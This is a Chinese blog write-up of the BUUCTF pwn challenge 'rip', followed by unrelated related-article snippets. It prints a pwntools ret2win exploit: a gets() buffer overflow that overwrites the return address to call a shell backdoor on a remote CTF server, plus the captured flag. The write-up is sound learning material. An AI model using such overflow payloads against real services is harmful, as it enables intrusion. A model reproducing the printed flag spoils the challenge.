buuctf-pwn-2.rip

news/2024/5/19 10:51:32

先用checksec看一下保护情况

红色表示没有保护,绿色则表示有相应的保护
关于每种保护会在之后的做题中遇到,也有相应的应对措施,这次就不过多深入

打开ida64分析附件

发现高危函数gets,这个函数不会检查输入的长度
我们可以利用它修改函数的返回地址,从而执行后门函数


找到后门函数了,可以通过这个获取shell,然后拿到flag

在程序界面按tab切换到图形化汇编窗口,再按空格切换到普通汇编窗口
由于程序没有开启PIE(地址空间随机化),可以直接利用ida中后门函数的地址(有PIE后地址会变,每次运行地址不固定)

看看输入"abcdefghijklmnoonmlkjihgfedcba"之后栈的情况

所以exp

from pwn import *p = remote("node5.buuoj.cn",27174)payload = b'a'*15+b'b'*8+p64(0x40118A)p.sendline(payload)p.interactive()

flag{48545090-76f7-4fc7-9cf8-0855ca560508}

15个a填充s字符数组,8个b填充rbp,之后加上返回地址

这样是可以打通的,但是有几个疑问:
1.payload修改为b'a'15+p64(0x401186)仍可以打通
2.payload修改为b'a'
15+b'b'*8+p64(0x401186)不可打通
听说和堆栈平衡有关,等我之后研究一下再更新
如果有大佬知道原因的希望可以解答一下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/24980.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Anaconda中安装pyecharts

学习Python的过程中发现conda无法使用pyecharts https://pypi.org/project/pyecharts/#files 下载后将whl文件复制到到本地conda\scripts目录下 随后打开conda 切换到script目录下,输入命令 pip install pyecharts-2.0.5-py3-none-any.whl 等待安装完成 在pycharm中配置Python…

网络拓扑—FTP服务搭建

均使用Windows Server 2003进行搭建目录FTP服务搭建网络拓扑配置网络FTPPC安装FTP服务配置FTP服务FTP用户配置—1PC机访问FTP站点IE浏览器访问终端访问FTP用户配置—2PC机访问ftp站点IE浏览器访问终端访问 FTP服务搭建 网络拓扑//交换机忽略不计 FTP服务IP:192.168.1.1 PC机IP…

顺序栈--代码题

数据结构 顺序栈代码题设计一个进制转换程序,使用顺序栈设计一个把十进制转化为十六进制的接口,实现当键盘输入一个非负的十进制时,可以在终端输出对应的十六进制数。 /***************************************************************************************** file n…

aws安装jenkins步骤

一、aws安装jdk11 1.1 aws安装jdk11 1、切换root,更新yum, sudo su yum update exist 2、安装JDK1.8版本 yum -y list java-1.8.0* #(安装jdk11,yum -y list java-11*) yum install java-1.8.0-openjdk-devel.x86_64 #(安装jdk11,yum -y list java-11-openjdk-deve…

mysql基础

mysql通用语法:SQL分类SHOW CREATE DATABASE test; MySQL会返回一个结果集,其中包含创建test数据库时使用的SQL语句。在这个语句中,你可以找到字符集的定义,通常类似于CHARACTER SET utf8mb4。

嵌入式笔记4.1 GPIO 功能复用

目录一、了解 MCU(GPIO)具有的所有复用功能通过查看 MCU 的数据手册可以知道 MCU 的所有引脚的功能:例 STM32L431:例 stm32f103:复用、重映射、多路复用(多功能引脚)GPIO复用(AF - Alternate Function)重映射(Remapping)多路复用(Multi-function)常见引脚功能一览…

ps/lr如何为一个型号相机的raw使用其他相机的预设

首先单独下载camera raw,进到C:\ProgramData\Adobe\CameraRaw\CameraProfiles\Camera中获取想要的相机型号的预设dcp文件 去 https://liquidtelecom.dl.sourceforge.net/project/dcptool/dcptool/dcpTool V1.11.0/dcpTool_1_11_0.zip?viasf=1 下载dcp编译工具dcpTool cd C:\U…

记录收集博客园美化代码

记录了一些好看实用的博客园美化主题🌃 初始微改版预览页面点击查看代码 /* 全局字体设定 */ #cnblogs_post_body {font-family: Roboto, sans-serif;color: #333; /* 增强字体颜色对比度,提高可读性 */ }/* 一级标题 */ #cnblogs_post_body h1 {font-size: 30px;font-weigh…